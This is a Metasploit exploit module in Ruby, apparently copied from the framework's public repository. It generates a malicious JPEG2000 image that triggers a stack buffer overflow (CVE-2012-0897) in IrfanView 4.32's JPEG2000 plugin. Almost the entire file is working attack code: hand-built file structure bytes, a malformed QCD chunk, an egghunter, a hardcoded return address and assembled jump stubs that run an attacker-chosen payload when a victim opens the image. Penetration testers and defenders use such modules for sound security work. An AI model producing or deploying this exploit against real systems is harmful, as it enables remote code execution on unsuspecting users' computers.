metasploit-framework/modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb

208 lines
8.5 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Egghunter
def initialize(info = {})
super(update_info(info,
'Name' => 'Irfanview JPEG2000 jp2 Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability in
version <= 4.3.2.0 of Irfanview's JPEG2000.dll plugin. This exploit has
been tested on a specific version of irfanview (v4.3.2), although other
versions may work also. The vulnerability is triggered via parsing an
invalid qcd chunk structure and specifying a malformed qcd size and
data.
Payload delivery and vulnerability trigger can be executed in multiple
ways. The user can double click the file, use the file dialog, open via
the icon and drag/drop the file into Irfanview's window. An egg hunter
is used for stability.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Parvez Anwar <parvez[at]greyhathacker.net>', # vulnerability discovery
'mr_me <steventhomasseeley[at]gmail.com>', # msf-fu
'juan vazquez' # more improvements
],
'References' =>
[
[ 'CVE', '2012-0897' ],
[ 'OSVDB', '78333'],
[ 'BID', '51426' ],
[ 'URL', 'http://www.greyhathacker.net/?p=525' ],
],
'Platform' => [ 'win' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Payload' =>
{
'Space' => 4000,
'DisableNops' => true,
},
'Targets' =>
[
# push esp; retn [i_view32.exe]
# http://www.oldapps.com/irfanview.php?old_irfanview=7097
# http://irfanview.tuwien.ac.at/plugins/irfanview_plugins_432_setup.exe
[ 'Irfanview 4.32 / Plugins 4.32 / Windows Universal', { 'Ret' => 0x004819d8 } ]
],
'DisclosureDate' => 'Jan 16 2012',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The output file name.', 'msf.jp2']),
])
end
# encode our string like unicode except we are not using nulls
def encode_bytes(raw_bytes)
encoded_bytes = ""
0.step(raw_bytes.length-1, 2) { |i|
encoded_bytes << raw_bytes[i+1]
encoded_bytes << raw_bytes[i]
}
return encoded_bytes
end
def exploit
jp2 = ""
jp2 << "\x00\x00\x00\x0c" #
jp2 << "\x6a\x50\x20\x20" # [jP ] <0x6a502020> magic 0xd0a870a,len 12
jp2 << "\x0d\x0a\x87\x0a" #
jp2 << "\x00\x00\x00\x14" #
jp2 << "\x66\x74\x79\x70" #
jp2 << "\x6a\x70\x32\x20" #
jp2 << "\x00\x00\x00\x00" # MinorVersion = 0 = [\0\0\0\0]
jp2 << "\x6a\x70\x32\x20" # Compat = 0x6a703220 = [jp2 ]
jp2 << "\x00\x00\x00\x38" #
jp2 << "\x75\x75\x69\x64" # [uuid] <0x75756964> len 56 data offset 8
jp2 << "\x61\x70\x00\xde\xec\x87" # 56 bytes with start and end tags
jp2 << "\xd5\x11\xb2\xed\x00\x50" #
jp2 << "\x04\x71\xfd\xdc\xd2\x00" #
jp2 << "\x00\x00\x40\x01\x00\x00" #
jp2 << "\x00\x00\x00\x00\x60\x09" #
jp2 << "\x00\x00\x00\x00\x00\x00" #
jp2 << "\x00\x00\x00\x00\x00\x00" #
jp2 << "\x00\x00\x30\x00\x00\x00" #
jp2 << "\x00\x00\x00\x2d" #
jp2 << "\x6a\x70\x32\x68" # [jp2h] <0x6a703268> len 45 data offset 8
jp2 << "\x00\x00\x00\x16" #
jp2 << "\x69\x68\x64\x72" # [ihdr] <0x69686472> len 22 data offset 8
jp2 << "\x00\x00\x00\x0a" # ImageHeight = 10
jp2 << "\x00\x00\x00\x0a" # ImageWidth = 10
jp2 << "\x00\x03" # NumberOfComponents = 3
jp2 << "\x07" # BitsPerComponent = 7
jp2 << "\x07" # Compression = 7
jp2 << "\x01" # Colorspace = 0x1 = unknown
jp2 << "\x00\x00\x00\x00\x0f" #
jp2 << "\x63\x6f\x6c\x72" # [colr] <0x636f6c72> len 15 data offset 8
jp2 << "\x01" # Method = 1
jp2 << "\x00" # Precedence = 0
jp2 << "\x00" # ColorSpaceAproximation = 0
jp2 << "\x00\x00\x00" # EnumeratedColorSpace = 16 = sRGB
jp2 << "\x10\x00\x00\x00\x00" #
jp2 << "\x6a\x70\x32\x63" # [jp2c] <0x6a703263> length 0 data offset 8
jp2 << "\xff\x4f" # <0xff4f=JP2C_SOC> Start of codestream
jp2 << "\xff\x51" # <0xff51=JP2C_SIZ> length 47
jp2 << "\x00\x2f" # 47 bytes
jp2 << "\x00\x00" # Capabilities = 0
jp2 << "\x00\x00\x00\x0a" # GridWidth = 10
jp2 << "\x00\x00\x00\x0a" # GridHeight = 10
jp2 << "\x00\x00\x00\x00" # XImageOffset = 0
jp2 << "\x00\x00\x00\x00" # YImageOffset = 0
jp2 << "\x00\x00\x00\x0a" # TileWidth = 10
jp2 << "\x00\x00\x00\x0a" # TileHeight = 10
jp2 << "\x00\x00\x00\x00" # Xtileoffset = 0
jp2 << "\x00\x00\x00\x00" # Ytileoffset = 0
jp2 << "\x00\x03" # NumberOfComponents = 3
jp2 << "\x07\x01\x01" # Component0Pr=0x7=8 bits un,hsep=1,vsep=1
jp2 << "\x07\x01\x01" # Component0Pr=0x7=8 bits un,hsep=1,vsep=1
jp2 << "\x07\x01\x01" # Component0Pr=0x7=8 bits un,hsep=1,vsep=1
jp2 << "\xff\x52" # <0xff52=JP2C_COD> length 12
jp2 << "\x00\x0c" # 12 bytes
jp2 << "\x00" # codingStyle=0=entropy coder w/o partition
jp2 << "\x00" # ProgressionOrder = 0
jp2 << "\x00\x05" # NumberOfLayers = 0x5
jp2 << "\x01" # MultiComponentTransform=0x1=5/3 reversible
jp2 << "\x05" # DecompLevels = 5
jp2 << "\x04" # CodeBlockWidthExponent=0x4+2 # cbw ->64
jp2 << "\x04" # CodeBlockHeightExponent=0x4+2 # cbh ->64
jp2 << "\x00" # CodeBLockStyle = 0
jp2 << "\x00" # QMIFBankId = 0
eggoptions =
{
:checksum => false,
:eggtag => 'pwnd'
}
hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
qcd_data = ""
qcd_data << make_nops(10)
qcd_data << encode_bytes(hunter)
qcd_data << rand_text_alpha(146)
jmp_hunter = %q{
jmp $-0xad
inc ecx
}
# jump to our egghunter
jmp_hunter = Metasm::Shellcode.assemble(Metasm::Ia32.new, jmp_hunter).encode_string
qcd_data << encode_bytes(jmp_hunter)
qcd_data << rand_text_alpha(196-qcd_data.length)
qcd_data << encode_bytes([target.ret].pack("V"))
# align ecx and jmp
pivot = %q{
inc ch
jmp ecx
}
pivot = Metasm::Shellcode.assemble(Metasm::Ia32.new, pivot).encode_string
qcd_data << encode_bytes(pivot)
qcd_data << egg
jp2 << "\xff\x5c" # start
jp2 << "\x00\xf5" # arbitrary size to trigger overflow
jp2 << "\x22" # guard
jp2 << qcd_data # malicious code
jp2 << "\xff\x90" # <0xff90=JP2C_SOT>len 10
jp2 << "\x00\x0a" # 10 bytes
jp2 << "\x00\x00\x00\x00\x00\x68\x00\x01"
jp2 << "\xff\x93" # <0xff93=JP2C_SOD> Start of data
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
jp2 << "\x80\x80"
jp2 << "\xff\xd9"
# Create the file
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(jp2)
end
end